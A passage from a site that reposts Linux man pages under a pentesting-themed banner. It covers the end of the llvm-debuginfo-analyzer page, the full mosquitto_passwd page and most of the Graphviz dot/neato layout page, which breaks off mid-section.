[003]                 {Variable} 'Var_1' -> 'int'
[002]               {Function} extern not_inlined 'test' -> 'int'
[003]                 {Variable} 'A' -> 'int'
[003]                 {Variable} 'Param_1' -> 'int'
[003]                 {Variable} 'Param_2' -> 'int'

DWARF - Clang (Linux)

Logical View: [000] {File} ‘pr-43860-dwarf-clang.o’ -> elf64-x86-64

[001]             {CompileUnit} 'pr-43860.cpp'
[002]               {Producer} 'clang version 14.0.0'
[002]     2         {Function} extern inlined 'InlineFunction' -> 'int'
[003]                 {Block}
[004]     5             {Variable} 'Var_2' -> 'int'
[003]     2           {Parameter} 'Param' -> 'int'
[003]     3           {Variable} 'Var_1' -> 'int'
[002]    11         {Function} extern not_inlined 'test' -> 'int'
[003]    12           {Variable} 'A' -> 'int'
[003]    14           {InlinedFunction} inlined 'InlineFunction' -> 'int'
[004]                   {Block}
[005]                     {Variable} 'Var_2' -> 'int'
[004]                   {Parameter} 'Param' -> 'int'
[004]                   {Variable} 'Var_1' -> 'int'
[003]    11           {Parameter} 'Param_1' -> 'int'
[003]    11           {Parameter} 'Param_2' -> 'int'

DWARF - GCC (Linux)

Logical View: [000] {File} ‘pr-43860-dwarf-gcc.o’ -> elf64-x86-64

[001]             {CompileUnit} 'pr-43860.cpp'
[002]               {Producer} 'GNU C++14 9.3.0'
[002]     2         {Function} extern declared_inlined 'InlineFunction' -> 'int'
[003]                 {Block}
[004]     5             {Variable} 'Var_2' -> 'int'
[003]     2           {Parameter} 'Param' -> 'int'
[003]     3           {Variable} 'Var_1' -> 'int'
[002]    11         {Function} extern not_inlined 'test' -> 'int'
[003]    12           {Variable} 'A' -> 'int'
[003]    13           {InlinedFunction} declared_inlined 'InlineFunction' -> 'int'
[004]                   {Block}
[005]                     {Variable} 'Var_2' -> 'int'
[004]                   {Parameter} 'Param' -> 'int'
[004]                   {Variable} 'Var_1' -> 'int'
[003]    11           {Parameter} 'Param_1' -> 'int'
[003]    11           {Parameter} 'Param_2' -> 'int'

From the previous logical views, we can see that the CodeView debug information generated by the Clang compiler shows the variables Var_1 and Var_2 are at the same lexical scope (4) in the function InlineFuction. The DWARF generated by GCC/Clang and CodeView generated by MSVC, show those variables at the correct lexical scope: 3 and 4 respectively.

Using the llvm-debuginfo-analyzer selection facilities, we can produce a simple tabular output showing just the logical elements that have in their name the var pattern. The logical view is sorted by the variables name.

llvm-debuginfo-analyzer –attribute=level,format –output-sort=name –select-regex –select-nocase –select=Var –report=list –print=symbols pr-43860-*.o

Logical View: [000] {File} ‘pr-43860-codeview-clang.o’ -> COFF-x86-64

[001]           {CompileUnit} 'pr-43860.cpp'
[004]           {Variable} 'Var_1' -> 'int'
[004]           {Variable} 'Var_2' -> 'int'

Logical View:
[000]           {File} 'pr-43860-codeview-msvc.o' -> COFF-i386

[001]           {CompileUnit} 'pr-43860.cpp'
[003]           {Variable} 'Var_1' -> 'int'
[004]           {Variable} 'Var_2' -> 'int'

Logical View:
[000]           {File} 'pr-43860-dwarf-clang.o' -> elf64-x86-64

[001]           {CompileUnit} 'pr-43860.cpp'
[004]           {Variable} 'Var_1' -> 'int'
[003]     3     {Variable} 'Var_1' -> 'int'
[005]           {Variable} 'Var_2' -> 'int'
[004]     5     {Variable} 'Var_2' -> 'int'

Logical View:
[000]           {File} 'pr-43860-dwarf-gcc.o' -> elf64-x86-64

[001]           {CompileUnit} 'pr-43860.cpp'
[004]           {Variable} 'Var_1' -> 'int'
[003]     3     {Variable} 'Var_1' -> 'int'
[005]           {Variable} 'Var_2' -> 'int'
[004]     5     {Variable} 'Var_2' -> 'int'

It also shows, that the CodeView debug information does not generate source code line numbers for the those logical symbols. The logical view is sorted by the types name.

TEST CASE 6 - FULL LOGICAL VIEW

For advanced users, llvm-debuginfo-analyzer can display low level information that includes offsets within the debug information section, debug location operands, linkage names, etc.

llvm-debuginfo-analyzer –attribute=all –print=all test-dwarf-clang.o

Logical View:
[0x0000000000][000]            {File} 'test-dwarf-clang.o' -> elf64-x86-64

[0x000000000b][001]              {CompileUnit} 'test.cpp'
[0x000000000b][002]                {Producer} 'clang version 12.0.0'
                                   {Directory} ''
                                   {File} 'test.cpp'
                                   {Public} 'foo' [0x0000000000:0x000000003a]
[0x000000000b][002]                {Range} Lines 2:9 [0x0000000000:0x000000003a]
[0x00000000bc][002]                {BaseType} 'bool'
[0x0000000099][002]                {BaseType} 'int'
[0x00000000b5][002]                {BaseType} 'unsigned int'

[0x00000000a0][002]   {Source} '/test.cpp'
[0x00000000a0][002]      1         {TypeAlias} 'INTPTR' -> [0x00000000ab]'* const int'
[0x000000002a][002]      2         {Function} extern not_inlined 'foo' -> [0x0000000099]'int'
[0x000000002a][003]                  {Range} Lines 2:9 [0x0000000000:0x000000003a]
[0x000000002a][003]                  {Linkage}  0x2 '_Z3fooPKijb'
[0x0000000071][003]                  {Block}
[0x0000000071][004]                    {Range} Lines 5:8 [0x000000001c:0x000000002f]
[0x000000007e][004]      5             {Variable} 'CONSTANT' -> [0x00000000c3]'const INTEGER'
[0x000000007e][005]                      {Coverage} 100.00%
[0x000000007f][005]                      {Location}
[0x000000007f][006]                        {Entry} Stack Offset: -28 (0xffffffffffffffe4) [DW_OP_fbreg]
[0x000000001c][004]      5             {Line} {NewStatement} '/test.cpp'
[0x000000001c][004]                    {Code} 'movl   $0x7, -0x1c(%rbp)'
[0x0000000023][004]      6             {Line} {NewStatement} '/test.cpp'
[0x0000000023][004]                    {Code} 'movl   $0x7, -0x4(%rbp)'
[0x000000002a][004]                    {Code} 'jmp    0x6'
[0x000000002f][004]      8             {Line} {NewStatement} '/test.cpp'
[0x000000002f][004]                    {Code} 'movl   -0x14(%rbp), %eax'
[0x0000000063][003]      2           {Parameter} 'ParamBool' -> [0x00000000bc]'bool'
[0x0000000063][004]                    {Coverage} 100.00%
[0x0000000064][004]                    {Location}
[0x0000000064][005]                      {Entry} Stack Offset: -21 (0xffffffffffffffeb) [DW_OP_fbreg]
[0x0000000047][003]      2           {Parameter} 'ParamPtr' -> [0x00000000a0]'INTPTR'
[0x0000000047][004]                    {Coverage} 100.00%
[0x0000000048][004]                    {Location}
[0x0000000048][005]                      {Entry} Stack Offset: -16 (0xfffffffffffffff0) [DW_OP_fbreg]
[0x0000000055][003]      2           {Parameter} 'ParamUnsigned' -> [0x00000000b5]'unsigned int'
[0x0000000055][004]                    {Coverage} 100.00%
[0x0000000056][004]                    {Location}
[0x0000000056][005]                      {Entry} Stack Offset: -20 (0xffffffffffffffec) [DW_OP_fbreg]
[0x000000008d][003]      4           {TypeAlias} 'INTEGER' -> [0x0000000099]'int'
[0x0000000000][003]      2           {Line} {NewStatement} '/test.cpp'
[0x0000000000][003]                  {Code} 'pushq    %rbp'
[0x0000000001][003]                  {Code} 'movq     %rsp, %rbp'
[0x0000000004][003]                  {Code} 'movb     %dl, %al'
[0x0000000006][003]                  {Code} 'movq     %rdi, -0x10(%rbp)'
[0x000000000a][003]                  {Code} 'movl     %esi, -0x14(%rbp)'
[0x000000000d][003]                  {Code} 'andb     $0x1, %al'
[0x000000000f][003]                  {Code} 'movb     %al, -0x15(%rbp)'
[0x0000000012][003]      3           {Line} {NewStatement} {PrologueEnd} '/test.cpp'
[0x0000000012][003]                  {Code} 'testb    $0x1, -0x15(%rbp)'
[0x0000000016][003]                  {Code} 'je       0x13'
[0x0000000032][003]      8           {Line} '/test.cpp'
[0x0000000032][003]                  {Code} 'movl     %eax, -0x4(%rbp)'
[0x0000000035][003]      9           {Line} {NewStatement} '/test.cpp'
[0x0000000035][003]                  {Code} 'movl     -0x4(%rbp), %eax'
[0x0000000038][003]                  {Code} 'popq     %rbp'
[0x0000000039][003]                  {Code} 'retq'
[0x000000003a][003]      9           {Line} {NewStatement} {EndSequence} '/test.cpp'

-----------------------------
Element      Total    Printed
-----------------------------
Scopes           3          3
Symbols          4          4
Types            5          5
Lines           25         25
-----------------------------
Total           37         37

Scope Sizes:
       189 (100.00%) : [0x000000000b][001]              {CompileUnit} 'test.cpp'
       110 ( 58.20%) : [0x000000002a][002]      2         {Function} extern not_inlined 'foo' -> [0x0000000099]'int'
        27 ( 14.29%) : [0x0000000071][003]                  {Block}

Totals by lexical level:
[001]:        189 (100.00%)
[002]:        110 ( 58.20%)
[003]:         27 ( 14.29%)

The Scope Sizes table shows the contribution in bytes to the debug information by each scope, which can be used to determine unexpected size changes in the DWARF sections between different versions of the same toolchain.

[0x000000002a][002] 2 {Function} extern not_inlined ‘foo’ -> [0x0000000099]‘int’ [0x000000002a][003] {Range} Lines 2:9 [0x0000000000:0x000000003a] [0x000000002a][003] {Linkage} 0x2 ‘_Z3fooPKijb’ [0x0000000071][003] {Block} [0x0000000071][004] {Range} Lines 5:8 [0x000000001c:0x000000002f] [0x000000007e][004] 5 {Variable} ‘CONSTANT’ -> [0x00000000c3]‘const INTEGER’ [0x000000007e][005] {Coverage} 100.00% [0x000000007f][005] {Location} [0x000000007f][006] {Entry} Stack Offset: -28 (0xffffffffffffffe4) [DW_OP_fbreg]

The {Range} attribute describe the line ranges for a logical scope. For this case, the function foo is within the lines 2 and 9.

The {Coverage} and {Location} attributes describe the debug location and coverage for logical symbols. For optimized code, the coverage value decreases and it affects the program debuggability.

EXIT STATUS

llvm-debuginfo-analyzer returns 0 if the input files were parsed and printed successfully. Otherwise, it returns 1.

SEE ALSO

llvm-dwarfdump

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2284 - Linux cli command mosquitto_passwd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mosquitto_passwd and provides detailed information about the command mosquitto_passwd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mosquitto_passwd.

NAME 🖥️ mosquitto_passwd 🖥️

manage password files for mosquitto

SYNOPSIS

mosquitto_passwd [-H hash] [-c | -D] passwordfile username

mosquitto_passwd [-H hash] -b passwordfile username password

mosquitto_passwd -U passwordfile

DESCRIPTION

mosquitto_passwd is a tool for managing password files for the mosquitto MQTT broker.

Usernames must not contain “:”. Passwords are stored in a similar format to crypt(3).

OPTIONS

-b

Run in batch mode. This allows the password to be provided at the command line which can be convenient but should be used with care because the password will be visible on the command line and in command history.

-c

Create a new password file. If the file already exists, it will be overwritten.

-D

Delete the specified user from the password file.

-H

Choose the hash to use. Can be one of sha512-pbkdf2 or sha512. Defaults to sha512-pbkdf2. The sha512 option is provided for creating password files for use with Mosquitto 1.6 and earlier.

-U

This option can be used to upgrade/convert a password file with plain text passwords into one using hashed passwords. It will modify the specified file. It does not detect whether passwords are already hashed, so using it on a password file that already contains hashed passwords will generate new hashes based on the old hashes and render the password file unusable.

passwordfile

The password file to modify.

username

The username to add/update/delete.

password

The password to use when in batch mode.

EXIT STATUS

mosquitto_sub returns zero on success, or non-zero on error. If the connection is refused by the broker at the MQTT level, then the exit code is the CONNACK reason code. If another error occurs, the exit code is a libmosquitto return value.

MQTT v3.1.1 CONNACK codes:

·

0 Success

·

1 Connection refused: Bad protocol version

·

2 Connection refused: Identifier rejected

·

3 Connection refused: Server unavailable

·

4 Connection refused: Bad username/password

·

5 Connection refused: Not authorized

MQTT v5 CONNACK codes:

·

0 Success

·

128 Unspecified error

·

129 Malformed packet

·

130 Protocol error

·

131 Implementation specific error

·

132 Unsupported protocol version

·

133 Client ID not valid

·

134 Bad username or password

·

135 Not authorized

·

136 Server unavailable

·

137 Server busy

·

138 Banned

·

139 Server shutting down

·

140 Bad authentication method

·

141 Keep alive timeout

·

142 Session taken over

·

143 Topic filter invalid

·

144 Topic name invalid

·

147 Receive maximum exceeded

·

148 Topic alias invalid

·

149 Packet too large

·

148 Message rate too high

·

151 Quota exceeded

·

152 Administrative action

·

153 Payload format invalid

·

154 Retain not supported

·

155 QoS not supported

·

156 Use another server

·

157 Server moved

·

158 Shared subscriptions not supported

·

159 Connection rate exceeded

·

160 Maximum connect time

·

161 Subscription IDs not supported

·

162 Wildcard subscriptions not supported

EXAMPLES

Add a user to a new password file:

·

mosquitto_passwd -c /etc/mosquitto/passwd ral

Delete a user from a password file

·

mosquitto_passwd -D /etc/mosquitto/passwd ral

BUGS

mosquitto bug information can be found at https://github.com/eclipse/mosquitto/issues

SEE ALSO

mosquitto(8), mosquitto.conf(5), mqtt(7)

AUTHOR

Roger Light <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2285 - Linux cli command neato

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command neato and provides detailed information about the command neato, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the neato.

NAME 🖥️ neato 🖥️

filter for drawing directed graphs
neato - filter for drawing undirected graphs
twopi - filter for radial layouts of graphs
circo - filter for circular layout of graphs
fdp - filter for drawing undirected graphs
sfdp - filter for drawing large undirected graphs
patchwork - filter for squarified tree maps
osage - filter for array-based layouts

SYNOPSIS

dot [options] [files]
neato [options] [files]
twopi [options] [files]
circo [options] [files]
fdp [options] [files]
sfdp [options] [files]
patchwork [options] [files]
osage [options] [files]

DESCRIPTION

These are a collection of programs for drawing graphs. There is actually only one main program; the specific layout algorithms are implemented as plugins. Thus, they largely share all of the same command-line options.

dot draws directed graphs. It works well on directed acyclic graphs and other graphs that can be drawn as hierarchies or have a natural ``flow.''

neato draws undirected graphs using a ``spring’’ model and reducing the related energy (see Kamada and Kawai, Information Processing Letters 31:1, April 1989).

twopi draws graphs using a radial layout (see G. Wills, Symposium on Graph Drawing GD'97, September, 1997). Basically, one node is chosen as the center and put at the origin. The remaining nodes are placed on a sequence of concentric circles centered about the origin, each a fixed radial distance from the previous circle. All nodes distance 1 from the center are placed on the first circle; all nodes distance 1 from a node on the first circle are placed on the second circle; and so forth.

circo draws graphs using a circular layout (see Six and Tollis, GD ‘99 and ALENEX ‘99, and Kaufmann and Wiese, GD ‘02.) The tool identifies biconnected components and draws the nodes of the component on a circle. The block‐cutpoint tree is then laid out using a recursive radial algorithm. Edge crossings within a circle are minimized by placing as many edges on the circle’s perimeter as possible. In particular, if the component is outerplanar, the component will have a planar layout. If a node belongs to multiple non‐trivial biconnected components, the layout puts the node in one of them. By default, this is the first non‐trivial component found in the search from the root component.

fdp draws undirected graphs using a ``spring’’ model. It relies on a force‐directed approach in the spirit of Fruchterman and Reingold (cf. Software‐Practice & Experience 21(11), 1991, pp. 1129‐1164).

sfdp also draws undirected graphs using the ``spring’’ model described above, but it uses a multi-scale approach to produce layouts of large graphs in a reasonably short time.

patchwork draws the graph as a squarified treemap (see M. Bruls et al., ``Squarified treemaps’’, Proc. Joint Eurographics and IEEE TCVG Symp. on Visualization, 2000, pp. 33-42). The clusters of the graph are used to specify the tree.

osage draws the graph using its cluster structure. For a given cluster, each of its subclusters is laid out internally. Then the subclusters, plus any remaining nodes, are repositioned based on the cluster’s pack and packmode attributes.

OUTPUT FORMATS

Graphviz uses an extensible plugin mechanism for its output renderers, so to see what output formats your installation of dot supports you can use ``dot -T:’’ and check the warning message. Also, The plugin mechanism supports multiple implementations of the output formats, allowing variations in the renderers and formatters. To see what variants are available for a particular output format, use, for example: ``dot -Tpng:’’ and to force a particular variant, use, for example: ``dot -Tpng:gd’’

Traditionally, Graphviz supports the following:
-Tdot (Dot format containing layout information),
-Txdot (Dot format containing complete layout information),
-Tps (PostScript),
-Tpdf (PDF),
-Tsvg -Tsvgz (Structured Vector Graphics),
-Tfig (XFIG graphics),
-Tpng (png bitmap graphics),
-Tgif (gif bitmap graphics),
-Tjpg -Tjpeg (jpeg bitmap graphics),
-Tjson (xdot information encoded in JSON),
-Timap (imagemap files for httpd servers for each node or edge that has a non‐null href attribute.),
-Tcmapx (client‐side imagemap for use in html and xhtml).
Additional less common or more special‐purpose output formats can be found at //http://www.graphviz.org/content/output-formats.

Alternative plugins providing support for a given output format can be found from the error message resulting from appending a ‘:’ to the format. e.g. -Tpng: The first plugin listed is always the default.

The -P switch can be used to produce a graph of all output variants supported by plugins in the local installation of graphviz.

GRAPH FILE LANGUAGE

Here is a synopsis of the graph file language, normally using the extension .gv, for graphs:

[strict] (graph|digraph) name { statement‐list }
is the top‐level graph. If the graph is strict, then multiple edges are not allowed between the same pairs of nodes. If it is a directed graph, indicated by digraph, then the edgeop must be “->”. If it is an undirected graph then the edgeop must be “–”.

Statements may be:

name**=val;**
node [name=val];
edge [name=val];
Set default graph, node, or edge attribute name to val. Any subgraph, node, or edge appearing after this inherits the new default attributes.

n0 [name0=val0,name1=val1,…];
Creates node n0 (if it does not already exist) and sets its attributes according to the optional list.

n0 edgeop n1 edgeop edgeop nn [name0=val0,name1=val1,…];
Creates edges between nodes n0, n1, …, nn and sets their attributes according to the optional list. Creates nodes as necessary.

[subgraph name] { statement‐list }
Creates a subgraph. Subgraphs may be used in place of n0, …, nn in the above statements to create edges. [subgraph name] is optional; if missing, the subgraph is assigned an internal name.

The language accepts both C‐style comments /*C…*/ or //…

Attribute names and values are ordinary (C‐style) strings. The following sections describe attributes that control graph layout.

A more complete description of the language can be found at http://www.graphviz.org/content/dot-language.

GRAPH, NODE AND EDGE ATTRIBUTES

Graphviz uses the name=value attributes, attached to graphs, subgraphs, nodes and edges, to tailor the layout and rendering. We list the more prominent attributes below. The complete list is available at http://www.graphviz.org/content/attrs.

Attributes Common to Nodes, Edges, Clusters and Graphs

**href=**url the default url for image map files; in PostScript files, the base URL for all relative URLs, as recognized by Acrobat Distiller 3.0 and up.

**URL=**url (``URL’’ is a synonym for ``href.’’)

**fontcolor=**colorvalue sets the label text color.

A colorvalue may be “h,s,v**”** (hue, saturation, brightness) floating point numbers between 0 and 1, or an X11 color name such as white, black, red, green, blue, yellow, magenta, or cyan, or a “#rrggbb” (red, green, blue, 2 hex characters each) value. See http://www.graphviz.org/content/attrs#kcolor and http://www.graphviz.org/content/color-names for further details.

**fontsize=**n sets the label type size to n points.

**fontname=**name sets the label font family name.

**label=**text where text may include escaped newlines \n, \l, or \r for center, left, and right justified lines. The string ‘\G’ value will be replaced by the graph name. For node labels, the string ‘\N’ value will be replaced by the node name. For edges, if the substring ‘\T’ is found in a label, it will be replaced by the name of the tail node; if the substring ‘\H’ is found in a label, it will be replaced by the name of the head node; if the substring ‘’ value is found in a label it will be replaced by: tail_node_name->head_node_name or by: tail_node_namehead_node_name for undirected graphs.

Graphviz also supports special HTML-like labels for constructing complex node content. A full‐description of these is given at http://www.graphviz.org/content/node-shapes#html.

If a node has shape=record, the label may contain recursive box lists delimited by { | }. Port identifiers in labels are set off by angle brackets < >.

Graph Attributes

size="x,y" specifies the maximum bounding box of drawing in inches.

**ratio=**f sets the aspect ratio to f which may be a floating point number, or one of the keywords fill, compress, or auto.

**layout=**engine indicates the preferred layout engine (dot, neato, fdp, etc.) overriding the default from the basename of the command or the -K commandline option.

**margin=**f sets the page margin (included in the page size).

ordering=out constrains order of out‐edges in a subgraph according to their file sequence.

rotate=90 sets landscape mode. (orientation=land is backward compatible but obsolete.)

**center=**n a non‐zero value centers the drawing on the page.

**color=**colorvalue sets foreground color (bgcolor for background).

**overlap=**mode. This specifies what algorithm should do if any nodes overlap. If mode is false, the program uses the Prism algorithm to adjust the nodes to eliminate overlaps. If mode is scale, the layout is uniformly scaled up, preserving node sizes, until nodes no longer overlap. The latter technique removes overlaps while preserving symmetry and structure, while the former removes overlaps more compactly but destroys symmetries. If mode is true (the default), no repositioning is done. Since the dot algorithm always produces a layout with no node overlaps, this attribute is only useful with other layouts.

stylesheet=“file.css” includes a reference to a stylesheet in -Tsvg and -Tsvgz outputs. Ignored by other formats.

splines If set to true, edges are drawn as splines. If set to polyline, edges are drawn as polylines. If set to ortho, edges are drawn as orthogonal polylines. In all of these cases, the nodes must not overlap. If splines=false or splines=line, edges are drawn as line segments. The default is true for dot, and false for all other layouts.

(dot‐specific attributes)

**nodesep=**f sets the minimum separation between nodes.

**ranksep=**f sets the minimum separation between ranks.

rankdir=LR|RL|BT requests a left‐to‐right, right‐to‐left, or bottom‐to‐top, drawing.

rank=same (or min or max) in a subgraph constrains the rank assignment of its nodes. If a subgraph’s name has the prefix cluster, its nodes are drawn in a distinct rectangle of the layout. Clusters may be nested.

(neato‐specific attributes)
**mode=**val. Algorithm for minimizing energy in the layout. By default, neato uses stress majorization. If mode=KK, it uses a version of gradient descent.

**model=**val. The neato model computes the desired distances between all pairs of vertices. By default, it uses the length of the shortest path. If model is set to circuit, a circuit-resistance model is used. If model is set to subset, it uses a model whereby the edge length is the number of nodes that are neighbors of exactly one of the edge’s vertices.

**start=**val. Requests random initial placement and seeds the random number generator. If val is not an integer, the process ID or current time is used as the seed.

**epsilon=**n. Sets the cutoff for the solver. The default is 0.1.

(twopi‐specific attributes)
**root=**ctr. This specifies the node to be used as the center of the layout. If not specified, twopi will randomly pick one of the nodes that are furthest from a leaf node, where a leaf node is a node of degree 1. If no leaf nodes exists, an arbitrary node is picked as center.

**ranksep=**val. Specifies the radial distance in inches between the sequence of rings. The default is 0.75.

(circo‐specific attributes)
**root=**nodename. Specifies the name of a node occurring in the root block. If the graph is disconnected, the root node attribute can be used to specify additional root blocks.

**mindist=**value. Sets the minimum separation between all nodes. If not specified then circo uses a default value of 1.0.

(fdp‐specific attributes)
**K=**val. Sets the default ideal node separation in the layout.

**maxiter=**val. Sets the maximum number of iterations used to layout the graph.

**start=**val. Adjusts the random initial placement of nodes with no specified position. If val is is an integer, it is used as the seed for the random number generator. If val is not an integer, a random system‐generated integer, such as the process ID or current time, is used as the seed.

Node Attributes

**height=**d or **width=**d sets minimum height or width. Adding fixedsize=true forces these to be the actual size (text labels are ignored).

**shape=**builtin_polygon record epsf
builtin_polygon can be such values as plaintext, ellipse, oval, circle, egg, triangle, box, diamond, trapezium, parallelogram, house, hexagon, octagon, note, tab, box3d, or component,, among others. (Polygons are defined or modified by the following node attributes: regular, peripheries, sides, orientation, distortion and skew.) epsf uses the node’s shapefile attribute as the path name of an external EPSF file to be automatically loaded for the node shape.

See http://www.graphviz.org/content/node-shapes for a complete description of node shapes.

**color=**colorvalue sets the outline color, and the default fill color if style=filled and fillcolor is not specified.

**fillcolor=**colorvalue sets the fill color when style=filled. If not specified, the fillcolor when style=filled defaults to be the same as the outline color.

style=filled solid dashed dotted bold invis

xlabel=“text” specifies a label that will be place near, but outside, of a node. The normal label string is placed within the node shape.

target=“target” is a target string for client‐side imagemaps and SVG, effective when nodes have a URL. The target string is used to determine which window of the browser is used for the URL. Setting it to “_graphviz” will open a new window if it doesn’t already exist, or reuse it if it does. If the target string is empty, the default, then no target attribute is included in the output. The substrings ‘\N’ and ‘\G’ are substituted in the same manner as for the node label attribute. Additionally the substring ‘\L’ is substituted with the node label string.

tooltip=“text” is a tooltip string for client‐side imagemaps and SVG, effective when nodes have a URL. The tooltip string defaults to be the same as the label string, but this attribute permits nodes without labels to still have tooltips thus permitting denser graphs. The substrings ‘\N’ and ‘\G’ are substituted in the same manner as for the node label attribute. Additionally the substring ‘\L’ is substituted with the node label string.

The following attributes apply only to polygon shape nodes:

**regular=**n if n is non‐zero then the polygon is made regular, i.e. symmetric about the x and y axis, otherwise the polygon takes on the aspect ratio of the label. builtin_polygons that are not already regular are made regular by this attribute. builtin_polygons that are already regular are not affected (i.e. they cannot be made asymmetric).

**peripheries=**n sets the number of periphery lines drawn around the polygon. This value supersedes the number of periphery lines of builtin_polygons.

**sides=**n sets the number of sides to the polygon. n<3 results in an ellipse. This attribute is ignored by builtin_polygons.

**orientation=**f sets the orientation of the first apex of the polygon counterclockwise from the vertical, in degrees. f may be a floating point number. The orientation of labels is not affected by this attribute. This attribute is added to the initial orientation of builtin_polygons.

**distortion=**f sets the amount of broadening of the top and narrowing of the bottom of the polygon (relative to its orientation). Floating point values between -1 and +1 are suggested. This attribute is ignored by builtin_polygons.

**skew=**f sets the amount of right‐displacement of the top and left‐displacement of the bottom of the polygon (relative to its orientation). Floating point values between -1 and +1 are suggested. This attribute is ignored by builtin_polygons.

(circo‐specific attributes)
**root=**true/false. This specifies that the block containing the given node be treated as the root of the spanning tree in the layout.

(neato‐ and fdp‐specific attributes)
**pin=**val. If val is true, the node will remain at its initial position.

Edge Attributes

**weight=**val where val is the cost of the edge. For dot, weights must be non-negative integers. Values greater than 1 tend to shorten the edge; weight 0 flat edges are ignored for ordering nodes. In twopi, a weight of 0 will cause the edge to be ignored in constructing the underlying spanning tree. For neato and fdp, a heavier weight will put more emphasis on the algorithm achieving an edge length closer to that specified by the edge’s len attribute.

style=solid dashed dotted bold invis

**color=**colorvalue sets the line color for edges.

**color=**colorvaluelist a ‘:’ separated list of colorvalue creates parallel edges, one edge for each color.

dir=forward back both none controls arrow direction.

tailclip,headclip=false disables endpoint shape clipping.

target=“text” is a target string for client‐side imagemaps and SVG, effective when edges have a URL. If the target string is empty, the default, then no target attribute is included in the output. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

tooltip=“text” is a tooltip string for client‐side imagemaps effective when edges have a URL. The tooltip string defaults to be the same as the edge label string. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

arrowhead,arrowtail=none, normal, inv, dot, odot, invdot, invodot, tee, empty, invempty, open, halfopen, diamond, odiamond, box, obox, crow. Specifies the shape of the glyph occurring where the edge touches the head or tail node, respectively. Note that this only specifies the shape. The dir attribute determines whether or not the glyph is drawn.

**arrowsize=**val specifies a multiplicative scale factor for the size of the arrowhead. inv_length=6,inv_width=7,dot_radius=2)

**headlabel,taillabel=**text for labels appearing near the head and tail nodes of an edge. labelfontcolor, labelfontname, labelfontsize for head and tail labels. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

headhref=“url” sets the url for the head port in imagemap, PostScript and SVG files. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

headURL=“url” (headURL is a synonym for headhref.)

headtarget=“headtarget” is a target string for client‐side imagemaps and SVG, effective when edge heads have a URL. The headtarget string is used to determine which window of the browser is used for the URL. If the headtarget string is empty, the default, then headtarget defaults to the same value as target for the edge. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

headtooltip=“tooltip” is a tooltip string for client‐side imagemaps effective when head ports have a URL. The tooltip string defaults to be the same as the headlabel string. The substrings ‘\T’, ‘\H’, and ‘’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

tailhref=“url” sets the url for the tail port in imagemap, PostScript and SVG files. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

tailURL=“url” (tailURL is a synonym for tailhref.)

tailtarget=“tailtarget” is a target string for client‐side imagemaps and SVG, effective when edge tails have a URL. The tailtarget string is used to determine which window of the browser is used for the URL. If the tailtarget string is empty, the default, then tailtarget defaults to the same value as target for the edge. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

tailtooltip=“tooltip” is a tooltip string for client‐side imagemaps effective when tail ports have a URL. The tooltip string defaults to be the same as the taillabel string. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

